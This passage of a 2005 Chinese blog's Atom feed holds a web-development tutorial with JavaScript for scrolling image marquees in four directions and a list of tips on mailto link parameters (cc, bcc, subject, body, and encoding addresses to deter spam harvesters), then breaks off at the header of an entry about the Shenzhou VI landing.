E1%C9%CC%CE%F1%BE%C6%B5%EA"&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target=_blank&gt;&lt;IMG&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;src="<a href="http://www.2008trip.com/ad/hotel/move/images/xxls.jpg" target=_blank>http://www.2008trip.com/ad/hotel/move/images/xxls.jpg</A>"&nbsp;alt="青岛饭店"&nbsp;width="100"&nbsp;height=74&nbsp;border="0"&nbsp;class=img02&gt;&lt;/A&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;width="100"&nbsp;align="center"&gt;&lt;A&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;href="http://www.openx.cn//hotel/hotel.asp?h_name=%C7%E0%B5%BA%B6%AB%B7%BD%B7%B9%B5%EA"&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target=_top&gt;&lt;IMG&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;src="<a href="http://www.2008trip.com/ad/hotel/move/images/dffd.jpg" target=_blank>http://www.2008trip.com/ad/hotel/move/images/dffd.jpg</A>"&nbsp;alt="青岛香格里拉大饭店"&nbsp;width="98"&nbsp;height=74&nbsp;border="0"&nbsp;class=img02&gt;&lt;/A&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;width="100"&nbsp;align="center"&gt;&lt;A&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;href="http://www.openx.cn//hotel/hotel.asp?h_name=%C7%E0%B5%BA%BB%B7%B5%BA%B4%F3%BE%C6%B5%EA"&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target=_blank&gt;&lt;IMG&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;src="<a href="http://www.2008trip.com/ad/hotel/move/images/hddjd.jpg" target=_blank>http://www.2008trip.com/ad/hotel/move/images/hddjd.jpg</A>"&nbsp;alt="青岛泛海名人酒店"&nbsp;width="98"&nbsp;height=74&nbsp;border="0"&nbsp;class=img02&gt;&lt;/A&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;width="100"&nbsp;align="center"&gt;&lt;A&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;href="http://www.openx.cn//hotel/hotel.asp?h_name=%C7%E0%B5%BA%B1%B1%BA%A3%B1%F6%B9%DD"&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target=_blank&gt;&lt;IMG&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;src="<a href="http://www.2008trip.com/ad/hotel/move/images/bhbg.jpg" target=_blank>http://www.2008trip.com/ad/hotel/move/images/bhbg.jpg</A>"&nbsp;alt="青岛泛海名人酒店"&nbsp;width="98"&nbsp;height=75&nbsp;border="0"&nbsp;class=img02&gt;&lt;/A&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;width=0&nbsp;rowspan="2"&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TR&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TR&gt;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;height="16"&nbsp;align="center"&gt;&lt;a&nbsp;href="http://www.openx.cn//hotel/hotel.asp?h_name=%C8%AB%D7%DC%B9%F3%B1%F6%C2%A5"&gt;&lt;font&nbsp;color="#FFFFFF"&gt;全总贵宾楼&lt;/font&gt;&lt;/a&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;align="center"&gt;&lt;a&nbsp;href="/hotel/hotel.asp?h_name=%C7%E0%B5%BA%B9%F3%B6%BC%B4%F3%B7%B9%B5%EA"&gt;&lt;font&nbsp;color="#FFFFFF"&gt;青岛贵都大饭店&lt;/font&gt;&lt;/a&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;align="center"&gt;&lt;a&nbsp;href="/hotel/hotel.asp?h_name=%C7%E0%B5%BA%D6%D0%B8%DB%B4%F3%CF%C3"&gt;&lt;font&nbsp;color="#FFFFFF"&gt;青岛中港大厦&lt;/font&gt;&lt;/a&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;align="center"&gt;&lt;a&nbsp;href="/hotel/hotel.asp?h_name=%C7%E0%B5%BA%BB%AA%C4%DC%B1%F6%B9%DD"&gt;&lt;font&nbsp;color="#FFFFFF"&gt;青岛华能宾馆&lt;/font&gt;&lt;/a&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;align="center"&gt;&lt;a&nbsp;href="/hotel/hotel.asp?h_name=%C7%E0%B5%BA%CF%E3%E9%BF%C0%F6%C9%E1%C9%CC%CE%F1%BE%C6%B5%EA"&gt;&lt;font&nbsp;color="#FFFFFF"&gt;香榭丽舍商务酒店&lt;/font&gt;&lt;/a&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;align="center"&gt;&lt;a&nbsp;href="/hotel/hotel.asp?h_name=%C7%E0%B5%BA%B6%AB%B7%BD%B7%B9%B5%EA"&gt;&lt;font&nbsp;color="#FFFFFF"&gt;青岛东方饭店&lt;/font&gt;&lt;/a&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;align="center"&gt;&lt;a&nbsp;href="/hotel/hotel.asp?h_name=%C7%E0%B5%BA%BB%B7%B5%BA%B4%F3%BE%C6%B5%EA"&gt;&lt;font&nbsp;color="#FFFFFF"&gt;青岛环岛大酒店&lt;/font&gt;&lt;/a&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;align="center"&gt;&lt;a&nbsp;href="/hotel/hotel.asp?h_name=%C7%E0%B5%BA%B1%B1%BA%A3%B1%F6%B9%DD"&gt;&lt;font&nbsp;color="#FFFFFF"&gt;青岛北海宾馆&lt;/font&gt;&lt;/a&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TR&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TBODY&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TABLE&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;id=demo2&nbsp;width=1&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TR&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TBODY&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TABLE&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/DIV&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;SCRIPT&gt;<BR>&nbsp;&nbsp;var&nbsp;speed=15//速度数值越大速度越慢<BR>&nbsp;&nbsp;demo2.innerHTML=demo1.innerHTML<BR>&nbsp;&nbsp;function&nbsp;Marquee(){<BR>&nbsp;&nbsp;if(demo2.offsetWidth-demo.scrollLeft&lt;=0)<BR>&nbsp;&nbsp;demo.scrollLeft-=demo1.offsetWidth<BR>&nbsp;&nbsp;else{<BR>&nbsp;&nbsp;demo.scrollLeft++<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;var&nbsp;MyMar=setInterval(Marquee,speed)<BR>&nbsp;&nbsp;demo.onmouseover=function()&nbsp;{clearInterval(MyMar)}<BR>&nbsp;&nbsp;demo.onmouseout=function()&nbsp;{MyMar=setInterval(Marquee,speed)}<BR>&nbsp;&nbsp;&lt;/SCRIPT&gt;&nbsp;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TR&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TBODY&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TABLE&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TR&gt;<BR>&nbsp;&nbsp;&lt;/TBODY&gt;<BR>&lt;/TABLE&gt;<BR>&lt;!--滚动图片资料&nbsp;end--&gt;<BR>&lt;/BODY&gt;&lt;/HTML&gt;<BR><BR>（2）向上滚动的效果：<BR>&lt;!--&nbsp;指向链接图片url&nbsp;--&gt;<BR>&lt;base&nbsp;href="<a href="http://www.it365cn.com/" target=_blank>http://www.it365cn.com</A>"&gt;<BR>&lt;div&nbsp;id=demo&nbsp;style=overflow:hidden;height:150;width:90;background:#214984;color:#ffffff&gt;<BR>&lt;div&nbsp;id=demo1&gt;<BR>&lt;!--&nbsp;定义图片&nbsp;--&gt;<BR>&lt;img&nbsp;src="images/logo_1.gif"&gt;<BR>&lt;img&nbsp;src="images/logo/flashempire.gif"&gt;<BR>&lt;img&nbsp;src="images/logo.gif"&gt;<BR>&lt;img&nbsp;src="images/logo/5dmedia.gif"&gt;<BR>&lt;img&nbsp;src="images/logo/macromedia.gif"&gt;<BR>&lt;img&nbsp;src="images/logo/sucaiw.gif"&gt;<BR>&lt;img&nbsp;src="images/logo/blueieda.gif"&gt;<BR>&lt;img&nbsp;src="images/logo/htmlcn.gif"&gt;<BR>&lt;img&nbsp;src="images/logo/fwcn.gif"&gt;<BR>&lt;/div&gt;<BR>&lt;div&nbsp;id=demo2&gt;&lt;/div&gt;<BR>&lt;/div&gt;<BR><BR>&lt;script&gt;<BR>var&nbsp;speed=30<BR>demo2.innerHTML=demo1.innerHTML<BR>function&nbsp;Marquee(){<BR>if(demo2.offsetTop-demo.scrollTop&lt;=0)<BR>demo.scrollTop-=demo1.offsetHeight<BR>else{<BR>demo.scrollTop++<BR>}<BR>}<BR>var&nbsp;MyMar=setInterval(Marquee,speed)<BR>demo.onmouseover=function()&nbsp;{clearInterval(MyMar)}<BR>demo.onmouseout=function()&nbsp;{MyMar=setInterval(Marquee,speed)}<BR>&lt;/script&gt;<BR><BR>（3）向下滚动的效果：<BR>将上面“制作向上滚动的效果”中的Js部分替换成：<BR>&lt;script&gt;<BR>var&nbsp;speed=30<BR>demo2.innerHTML=demo1.innerHTML<BR>demo.scrollTop=demo.scrollHeight<BR>function&nbsp;Marquee(){<BR>if(demo1.offsetTop-demo.scrollTop&gt;=0)<BR>demo.scrollTop+=demo2.offsetHeight<BR>else{<BR>demo.scrollTop--<BR>}<BR>}<BR>var&nbsp;MyMar=setInterval(Marquee,speed)<BR>demo.onmouseover=function()&nbsp;{clearInterval(MyMar)}<BR>demo.onmouseout=function()&nbsp;{MyMar=setInterval(Marquee,speed)}<BR>&lt;/script&gt;<BR><BR>（4）向左滚动的效果：<BR>&lt;base&nbsp;href="http://www.openx.cn/<A href="http://www.it365cn.com/" target=_blank>http://www.it365cn.com</A>"&gt;<BR>&lt;div&nbsp;id=demo&nbsp;style=overflow:hidden;height:33;width:500;background:#214984;color:#ffffff&gt;<BR>&lt;table&nbsp;align=left&nbsp;cellpadding=0&nbsp;cellspace=0&nbsp;border=0&gt;<BR>&lt;tr&gt;<BR>&lt;td&nbsp;id=demo1&nbsp;valign=top&gt;&lt;img&nbsp;src="images/logo_1.gif"&gt;&lt;img&nbsp;src="images/logo/flashempire.gif"&gt;&lt;img&nbsp;src="images/logo.gif"&gt;&lt;img&nbsp;src="images/logo/5dmedia.gif"&gt;&lt;img&nbsp;src="images/logo/macromedia.gif"&gt;&lt;img&nbsp;src="images/logo/sucaiw.gif"&gt;&lt;img&nbsp;src="images/logo/blueieda.gif"&gt;&lt;img&nbsp;src="images/logo/htmlcn.gif"&gt;&lt;img&nbsp;src="images/logo/fwcn.gif"&gt;<BR>&lt;/td&gt;<BR>&lt;td&nbsp;id=demo2&nbsp;valign=top&gt;&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;/table&gt;<BR>&lt;/div&gt;<BR><BR>&lt;script&gt;<BR>var&nbsp;speed=30<BR>demo2.innerHTML=demo1.innerHTML<BR>function&nbsp;Marquee(){<BR>if(demo2.offsetWidth-demo.scrollLeft&lt;=0)<BR>demo.scrollLeft-=demo1.offsetWidth<BR>else{<BR>demo.scrollLeft++<BR>}<BR>}<BR>var&nbsp;MyMar=setInterval(Marquee,speed)<BR>demo.onmouseover=function()&nbsp;{clearInterval(MyMar)}<BR>demo.onmouseout=function()&nbsp;{MyMar=setInterval(Marquee,speed)}<BR>&lt;/script&gt;<BR><BR>（5）向右滚动的效果：<BR>将上面“制作向左滚动的效果”中的Js部分替换成：<BR>&lt;script&gt;<BR>var&nbsp;speed=30<BR>demo2.innerHTML=demo1.innerHTML<BR>demo.scrollLeft=demo.scrollWidth<BR>function&nbsp;Marquee(){<BR>if(demo.scrollLeft&lt;=0)<BR>demo.scrollLeft+=demo2.offsetWidth<BR>else{<BR>demo.scrollLeft--<BR>}<BR>}<BR>var&nbsp;MyMar=setInterval(Marquee,speed)<BR>demo.onmouseover=function()&nbsp;{clearInterval(MyMar)}<BR>demo.onmouseout=function()&nbsp;{MyMar=setInterval(Marquee,speed)}<BR>&lt;/script&gt;<BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=84" /> 
	  <id>http://www.openx.cn/default.asp?id=84</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[“mailto”的六则应用技巧]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-18T14:41:17+08:00</updated>
	  <published>2005-10-18T14:41:17+08:00</published>
		  <summary type="html"><![CDATA[&nbsp;&nbsp;&nbsp; 1、如果我们在网页中创建一个形如“mailto: <a href="http://www.openx.cn/mailto:aaa@mail.com"><U>aaa@mail.com</U></A>”这样的超级连接时，用鼠标单击一下该超级连接的话，浏览器会自动调用系统默认的邮件客户端程序，同时在邮件编辑窗口的收件人设置栏中自动写上收件人的地址，而其他的内容都是空白，留给访问者自行填写； 
<P><BR>&nbsp;&nbsp;&nbsp; 2、要是大家在单击电子邮件超级连接时，希望系统自动打开的电子邮件编辑窗口中，除了在收件人地址栏中自动填写上内容外，在抄送地址栏中也能自动填写上自己需要的电子邮件地址的话，就可以直接在网页的html源代码中插入形如“mailto: <a href="http://www.openx.cn/mailto:aaa@mail.com?bbb@mail.com"><U>aaa@mail.com?bbb@mail.com</U></A>”这样的语句，其中<a href="http://www.openx.cn/mailto:aaa@mail.com"><U>aaa@mail.com</U></A>将会自动出现在收件人地址栏中，<a href="http://www.openx.cn/mailto:bbb@mail.com"><U>bbb@mail.com</U></A>则会自动出现在抄送地址栏中； </P>
<P><BR>&nbsp;&nbsp;&nbsp; 3、如果大家希望在弹出的邮件编辑窗口中能自动将邮件的主题内容填上的话，可以使用形如“mailto: <a href="http://www.openx.cn/mailto:aaa@mail.com?subject='mailto'"><U>aaa@mail.com?subject='mailto'</U></A>应用技巧拾零”这样的html语句，当浏览者用鼠标单击由该语句组成的电子邮件超级连接时，在随后打开的邮件编辑窗口的收件人地址栏中自动出现<a href="http://www.openx.cn/mailto:aaa@mail.com"><U>aaa@mail.com</U></A>，主题设置栏中将自动出现“‘mailto'应用技巧拾零”这样的内容； </P>
<P><BR>&nbsp;&nbsp;&nbsp; 4、如果想在收件人地址栏中同时输入多个电子邮件地址时，那么就可以使用形如“mailto: <a href="http://www.openx.cn/mailto:aaa@21cn.com"><U>aaa@mail.com</U></A>；<a href="http://www.openx.cn/mailto:bbb@21cn.com"><U>bbb@mail.com</U></A>”这样的语句，记住每个电子邮件之间用“；”隔开，这样当浏览者单击由该语句创建的电子邮件超级连接时，在弹出的邮件编辑窗口的收件人地址栏中同时会出现<a href="http://www.openx.cn/mailto:aaa@21cn.com"><U>aaa@mail.com</U></A>、<a href="http://www.openx.cn/mailto:bbb@21cn.com"><U>bbb@mail.com</U></A>这样的收件人地址，浏览者就能同时向这些人发送电子邮件； </P>
<P><BR>&nbsp;&nbsp;&nbsp; 5、在网页中出现的邮件地址经常会被一些诸如“mail-robot”的自动搜索程序搜索到，这样其他人很容易利用搜索到的邮件地址来向你发送各种各样的垃圾邮件，为了能将这些垃圾邮件拒之于千里之外，我们可以将在网页上公开的邮件地址写成ASCII码形式，同时要记住每一个ASCII码前面都必须添加“&#”，例如我们在网页中使用“mailto: <a href="http://www.openx.cn/mailto:aaa@21cn.com"><U>aaa@mail.com</U></A>”这样的语句来创建电子邮件超级连接的话，单击该超级连接后，我们发现在随后打开的邮件收发窗口中，收件人地址栏中仍然会显示<a href="http://www.openx.cn/mailto:aaa@21cn.com"><U>aaa@mail.com</U></A>这样的内容，而其他的各种邮件自动搜索工具都不能正确识别这样的ASCII代码，因此用户收到的各种来历不明的垃圾邮件就会大大减少； </P>
<P><BR>&nbsp;&nbsp;&nbsp; 6、一般情况下，浏览者单击电子邮件超级连接时，系统在默认打开的邮件客户端软件中，只是自动在收件人地址栏处填上内容，而其他设置栏处仍然显示为空白，如果大家还希望自动把主题、抄送、暗送甚至内容都填写上的话，就可以使用形如“mailto: <a href="http://www.openx.cn/mailto:aaa@21cn.com?cc=bbb@21cn.com&bcc=ccc@21cn.com&subject=‘mailto'"><U>aaa@mail.com?cc=bbb@mail.com&bcc=ccc@mail.com&subject=‘mailto'</U></A>应用技巧拾零&body=mailto标签的综合应用举例说明！”这样的语句，在这个语句中第一个功能以“?”开头，后面的每一个功能以“&”开头；当用鼠标单击这个邮件地址时，在随后打开的邮件编辑窗口中，我们将看到在收件人地址栏中自动填写上了<a href="http://www.openx.cn/mailto:aaa@21cn.com"><U>aaa@mail.com</U></A>，在抄送地址栏中自动填写上了<a href="http://www.openx.cn/mailto:bbb@21cn.com"><U>bbb@mail.com</U></A>，在暗送地址栏中自动填写上了<a href="http://www.openx.cn/mailto:ccc@21cn.com"><U>ccc@mail.com</U></A>，在主题栏中自动填写上了“‘mailto'应用技巧拾零”，在信件的正文部分将自动出现“mailto标签的综合应用举例说明！”这样的文字。 </P>
<P>&nbsp;&nbsp;&nbsp; 上面出现的<a href="http://www.openx.cn/mailto:aaa@21cn.com"><U>aaa@mail.com</U></A>、<a href="http://www.openx.cn/mailto:bbb@21cn.com"><U>bbb@mail.com</U></A>、<a href="http://www.openx.cn/mailto:ccc@21cn.com"><U>ccc@mail.com</U></A>都是为方便说明，而由笔者随意设置的，大家可以根据自己的要求，用自己真实的邮件地址来代替他们；此外，如果要使用mailto同时实现多个功能的话，第一个功能必须以“?”开头，后面的每一个功能都以“&”开头；另外，cc后为抄送地址，bcc后为暗送地址，subject后为邮件的主题，body后为邮件的内容。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=83" /> 
	  <id>http://www.openx.cn/default.asp?id=83</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[神舟六号返回舱已成功着陆。]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2005-10-17T07:18:55+08:00</updated>
	  <published>2005-10-17T07:18:55+08:00</published>
